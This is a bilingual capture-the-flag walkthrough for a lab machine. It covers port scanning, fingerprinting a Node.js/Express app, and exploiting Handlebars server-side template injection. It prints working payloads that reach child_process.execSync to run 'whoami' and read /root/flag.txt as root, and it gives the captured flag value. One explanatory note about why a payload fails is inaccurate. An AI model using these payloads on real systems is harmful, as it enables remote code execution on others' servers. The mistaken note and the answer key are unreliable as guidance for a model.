Task 1
What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
(nmap 识别哪些 TCP 端口为开放?回答以逗号分隔的端口列表,不带空格,从低到高。)
# nmap -sS -T4 -Pn 10.129.97.64 --min-rate 1000
22,80
Task 2
What software is running the service listening on the http/web port identified in the first question?
(什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?)
# nmap -sV -sC -Pn 10.129.97.64 -p 80
Node.js
Task 3
What is the name of the Web Framework according to Wappalyzer?
(根据 Wappalyzer,Web 框架的名称是什么?)
Express
Task 4
What is the name of the vulnerability we test for by submitting {{7*7}}?
(我们通过提交 {{7*7}} 测试的漏洞的名称是什么?)
Server Side template injection
Task 5
What is the templating engine being used within Node.JS?
(Node.JS 中使用的模板引擎是什么?)
handlebars
Task 6
What is the name of the BurpSuite tab used to encode text?
(用于对文本进行编码的 BurpSuite 选项卡的名称是什么?)
decoder
Task 7
In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use?
(为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?)
url
Task 8
When we use a payload from HackTricks to try to run system commands, we get an error back. What is “not defined” in the response error?
(当我们使用 HackTricks 中的有效负载尝试运行系统命令时,我们会收到错误消息。响应错误中的“未定义”是什么?)
这里要从https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
执行测试payload
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
ps:这段代码主要尝试利用服务器端模板注入(SSTI)漏洞执行一个系统命令。具体来说,它尝试执行 whoami 命令来获取当前用户的信息。然而,由于代码中可能存在错误或不完整的部分,因此实际上并不能成功执行命令。在第三行中,尝试使用 split 方法来初始化变量 conslist,但没有定义该方法,因此此处可能会出现错误。在第九行中,尝试将变量 codelist 的子字符串应用到当前上下文中,但之前并没有定义或初始化该变量,因此无法执行
将以上payload进行url编码发送
require
Task 9
What variable is the name of the top-level scope in Node.JS?
(Node.JS 中顶级作用域的名称是什么变量?)
global
Task 10
By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
(通过利用此漏洞,我们可以以 Web 服务器运行时的用户身份执行命令。该用户的名字是什么?)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
编码发送
root
Flag
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
6b258d726d287462d60c103d0142a81c
Path
官方解法:
1.{{7*7}} 报错 说明存在SSTI模板注入
2.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
require是Javascript中的关键字,更具体地说是Node.js中的关键字,用于从其他模块或文件加载代码。上面的代码试图将Child Process模块加载到内存中,并使用它来执行系统命令(在本例中为whoami)。
模板引擎通常是沙盒化的,这意味着它们的代码运行在受限的代码空间中,因此在恶意代码被运行的情况下,加载可以运行系统命令的模块将非常困难。
require实际上不在全局作用域中,因此在特定情况下它可能无法访问。仔细查看文档,我们会发现有一个流程对象可用。文档说明这个对象提供了关于当前Node.js进程的信息和控制。
我们可以使用这个对象来加载模块。看看能不能从SSTI中调用它
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
该代码段的目的是返回当前 Node.js 进程对象 process
4.响应不包含错误,我们可以看到[对象进程]已被包含。这意味着流程对象确实可用.
仔细查看process对象的文档,我们会发现它有一个mainModule属性,从Node.js的14.0.0版本开始就已经弃用了,但是,弃用并不一定意味着不可访问。使用关键字Node.js mainModule在Google上快速搜索一下,就会发现这篇博客文章[https://www.geeksforgeeks.org/node-js-process-mainmodule-property/]详细介绍了这个属性的用法。
具体来说,它提到这个属性返回一个包含main模块引用的对象。由于handlebars是在沙盒环境中运行的,我们可以使用mainModule属性直接加载main函数,而且main函数很可能不是沙盒的,所以可以从那里加载require。让我们再次修改负载,看看mainModule是否可访问
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
这次也没有出现错误,我们在响应的末尾看到了一个额外的对象,这意味着该属性确实可用。现在让我们尝试调用require并加载一个模块。我们可以加载child_process模块,因为它在默认的Node.js安装中可用,可以用来执行系统命令。
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
执行命令